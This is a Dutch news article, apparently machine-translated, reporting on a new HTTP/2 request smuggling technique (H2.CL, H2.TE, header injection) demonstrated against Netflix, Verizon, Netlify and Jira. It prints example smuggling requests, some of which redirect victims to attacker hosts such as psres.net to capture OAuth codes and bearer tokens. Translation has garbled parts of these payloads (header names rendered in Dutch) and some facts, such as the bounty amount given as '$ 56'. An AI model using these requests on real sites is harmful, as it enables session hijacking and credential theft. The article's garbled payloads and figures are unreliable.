Een nieuwe aanval op front-end-backend-systemen waarmee u verzoeken kunt inhaken

Websystemen waarin de frontend verbindingen accepteert via HTTP/2 en gegevens doorstuurt naar de backend via HTTP/1.1, zijn blootgesteld aan een nieuwe variant van de HTTP Request Smuggle-aanval, die het mogelijk maakt om, door speciaal ontworpen clientverzoeken te verzenden, zich in de inhoud te nestelen van verzoeken van andere gebruikers verwerkt in dezelfde stroom tussen frontend en backend. De aanval kan worden gebruikt om kwaadaardige JavaScript-code in een sessie met een legitieme site in te voegen, toegangscontrolesystemen te omzeilen en authenticatieparameters te onderscheppen.

Het probleem treft webproxy's, load balancers, webversnellers, content delivery-systemen en andere configuraties waarin verzoeken worden omgeleid volgens het front-end-backend-schema. De auteur van het onderzoek demonstreerde het vermogen om systemen op Netflix, Verizon, Bitbucket, Netlify CDN en Atlassian aan te vallen en ontving $ 56 aan bountyprogramma's voor kwetsbaarheden. Het probleem is ook bevestigd in F5 Networks-producten. Gedeeltelijk treft het probleem mod_proxy in de Apache http-server (CVE-2021-33193), een oplossing wordt verwacht in versie 2.4.49 (de ontwikkelaars werden begin mei op de hoogte gebracht van het probleem en kregen 3 maanden de tijd om het probleem op te lossen). In nginx was de mogelijkheid om de headers "Content-Length" en "Transfer-Encoding" tegelijkertijd te specificeren geblokkeerd in de laatste release (1.21.1). Aanvalstools zijn al toegevoegd aan de Burp-toolkit en zijn beschikbaar als Turbo Intruder-extensie.

Het werkingsprincipe van de nieuwe methode om verzoeken in het verkeer te integreren is vergelijkbaar met de kwetsbaarheid die dezelfde onderzoeker twee jaar geleden ontdekte, maar beperkt tot frontends die verzoeken via HTTP/1.1 accepteren. Bedenk dat in het frontend-backend-schema clientverzoeken worden ontvangen door een extra knooppunt - de frontend, die een langdurige TCP-verbinding tot stand brengt met de backend die verzoeken direct verwerkt. Via deze gemeenschappelijke verbinding worden meestal verzoeken van verschillende gebruikers verzonden, die de keten achter elkaar volgen, gescheiden door middel van het HTTP-protocol.

De klassieke aanval "HTTP Request Smuggling" was gebaseerd op het feit dat frontends en backends het gebruik van de HTTP-headers "Content-Length" (bepaalt de totale grootte van de gegevens in het verzoek) en "Transfer-Encoding: chunked" ( maakt het mogelijk om gegevens in delen over te dragen) op een andere manier. Als de frontend bijvoorbeeld alleen "Content-Length" ondersteunt maar "Transfer-Encoding: chunked" negeert, kan een aanvaller een verzoek verzenden dat zowel de "Content-Length" als de "Transfer-Encoding: chunked" headers bevat, maar de maat is "Content-Length" komt niet overeen met de maat van de chunked chain. In dit geval zal de frontend het verzoek verwerken en omleiden volgens de "Content-Length", en de backend zal wachten tot het blok is voltooid op basis van "Transfer-Encoding: chunked" en de resterende staart van het verzoek van de aanvaller zal zijn aan het begin van het daarna verzonden buitenlandse verzoek.

In tegenstelling tot het tekstprotocol HTTP/1.1, dat op regelniveau wordt geparseerd, is HTTP/2 een binair protocol en manipuleert het gegevensblokken van een vooraf bepaalde grootte. HTTP/2 gebruikt echter pseudo-headers die overeenkomen met gewone HTTP-headers. Bij interactie met de backend via HTTP/1.1, vertaalt de frontend deze pseudo-headers in vergelijkbare HTTP/1.1 HTTP-headers. Het probleem is dat de backend beslissingen neemt over het ontleden van de stream op basis van de HTTP-headers die door de frontend zijn ingesteld, zonder de parameters van het oorspronkelijke verzoek te kennen.

Inclusief in de vorm van pseudo-headers kunnen de waarden "content-length" en "transfer-encoding" worden verzonden, ondanks het feit dat ze niet worden gebruikt in HTTP / 2, aangezien de grootte van alle gegevens wordt bepaald in een apart veld. Bij het converteren van een HTTP/2-verzoek naar HTTP/1.1 worden deze headers echter overgedragen en kunnen ze de backend verwarren. Er zijn twee belangrijke aanvalsopties: H2.TE en H2.CL, waarbij de backend wordt misleid door een onjuiste overdrachtscodering of inhoudslengtewaarde die niet overeenkomt met de werkelijke grootte van het verzoek dat door de frontend wordt ontvangen via de HTTP/2-protocol.

Een nieuwe aanval op front-end-backend-systemen waarmee u verzoeken kunt inhaken

Als voorbeeld van een H2.CL-aanval is de pseudo-header met de lengte van de inhoud onjuist opgemaakt bij het verzenden van een HTTP/2-verzoek naar Netflix. Dit verzoek resulteert in de toevoeging van een vergelijkbare Content-Length HTTP-header bij toegang tot de backend via HTTP/1.1, maar aangezien de grootte in Content-Length kleiner is dan de werkelijke grootte, wordt een deel van de gegevens in de staart verwerkt als het begin van het volgende verzoek.

Bijvoorbeeld een HTTP/2-verzoek :methode POST :pad /n :autoriteit www.netflix.com inhoudslengte 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Stuurt een verzoek naar de backend: POST /n HTTP/1.1 Host: www.netflix.com Inhoudslengte: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Aangezien de Content-Length is ingesteld op 4, accepteert de backend alleen "abcd" als de verzoektekst en verwerkt de rest van de "GET /n HTTP/1.1..." als het begin van het volgende verzoek dat aan een andere gebruiker is gebonden. Dienovereenkomstig zal de stream niet synchroon lopen en als reactie op het volgende verzoek wordt het resultaat van de verwerking van het nepverzoek geretourneerd. In het geval van Netflix resulteerde het specificeren van een externe host in de "Host:"-header in een vervalst verzoek in het antwoord "Locatie: https://02.rs?x.netflix.com/n" naar de client en toegestaan ​​dat willekeurige inhoud aan de klant wordt doorgegeven, inclusief het uitvoeren van uw JavaScript-code in de context van de Netflix-site.

De tweede variant van de aanval (H2.TE) wordt geassocieerd met de vervanging van de "Transfer-Encoding: chunked" header. Het gebruik van de transfer-encoding pseudo-header in HTTP/2 is verboden door de specificatie en verzoeken ermee worden voorgeschreven om als onjuist te worden behandeld. Desondanks negeren sommige frontend-implementaties deze vereiste en staan ​​ze het gebruik toe van de transfer-encoding pseudo-header in HTTP/2, wat zich vertaalt naar een vergelijkbare HTTP-header. Als de header "Transfer-Encoding" aanwezig is, kan de backend deze als prioriteit nemen en de gegevens in delen in de "chunked"-modus parseren met behulp van blokken van verschillende grootte in het formaat "{size}\r\n{block} \r\n{grootte} \r\n{blok}\r\n0" ondanks de initiële deling door totale grootte.

De aanwezigheid van een dergelijke kloof werd aangetoond door het voorbeeld van Verizon. Het probleem betrof echter de authenticatieportal en het contentmanagementsysteem, dat ook wordt gebruikt door sites als Huffington Post en Engadget. Bijvoorbeeld een clientverzoek via HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

Veroorzaakt HTTP/1.1-verzoek aan backend: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content- Length : 10x=

De backend negeerde op zijn beurt de "Content-Length"-header en voerde in-stream splitsing uit op basis van "Transfer-Encoding: chunked". In de praktijk maakte de aanval het mogelijk om verzoeken van gebruikers om te leiden naar uw site, inclusief het onderscheppen van verzoeken met betrekking tot OAuth-authenticatie, waarvan de parameters in de Referer-header verschenen, evenals het simuleren van een authenticatiesessie en het initiëren van het verzenden van gebruikersreferenties naar de gastheer van de aanvaller. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Autorisatie: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…

Om HTTP/2-implementaties aan te vallen die het specificeren van de transfer-encoding pseudo-header niet toestaan, is een andere methode voorgesteld waarbij de "Transfer-Encoding"-header wordt vervangen door deze te koppelen aan andere pseudo-headers, gescheiden door een teken voor een nieuwe regel (indien geconverteerd naar HTTP/1.1 worden in dit geval twee afzonderlijke HTTP-headers gemaakt).

Atlassian Jira en Netlify CDN (gebruikt om de startpagina van Mozilla in Firefox te bedienen) werden bijvoorbeeld getroffen door dit probleem. Met name het HTTP/2-verzoek :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n Lengte inhoud: 5\r\n \r\nx=

zorgde ervoor dat een HTTP/1.1 POST / HTTP/1.1-verzoek naar de backend werd verzonden\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content- Lengte: 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \ r\nx=

Een andere optie om de "Transfer-Encoding"-header te vervangen, was door deze te koppelen aan de naam van een andere pseudo-header of aan een string met een verzoekmethode. Bij het openen van Atlassian Jira resulteerde de naam van de pseudo-header "foo: bar\r\ntransfer-encoding" met de waarde "chunked" bijvoorbeeld in de toevoeging van de HTTP-headers "foo: bar" en "transfer-encoding : chunked", en specificeren in pseudo-header ":method" van de waarde "GET / HTTP/1.1\r\nTransfer-encoding: chunked" werd vertaald in "GET / HTTP/1.1\r\ntransfer-encoding: chunked" .

De onderzoeker die het probleem identificeerde, stelde ook een request tunneling-techniek voor om de frontends aan te vallen, waarbij voor elk IP-adres een aparte verbinding met de backend tot stand wordt gebracht en het verkeer van verschillende gebruikers niet wordt gemengd. De voorgestelde techniek staat u niet toe om tussenbeide te komen in de verzoeken van andere gebruikers, maar maakt het mogelijk om de gedeelde cache te vergiftigen, wat de verwerking van andere verzoeken beïnvloedt, en stelt u in staat interne HTTP-headers te vervangen die worden gebruikt om service-informatie over te dragen van de frontend naar de backend (bij authenticatie aan de frontend kan in dergelijke headers bijvoorbeeld informatie over de huidige gebruiker naar de backend worden gestuurd). Als voorbeeld van het in de praktijk toepassen van de methode was het mogelijk om met behulp van cache-poisoning controle te krijgen over de pagina's in de Bitbucket-service.

Bron: opennet.ru

Voeg een reactie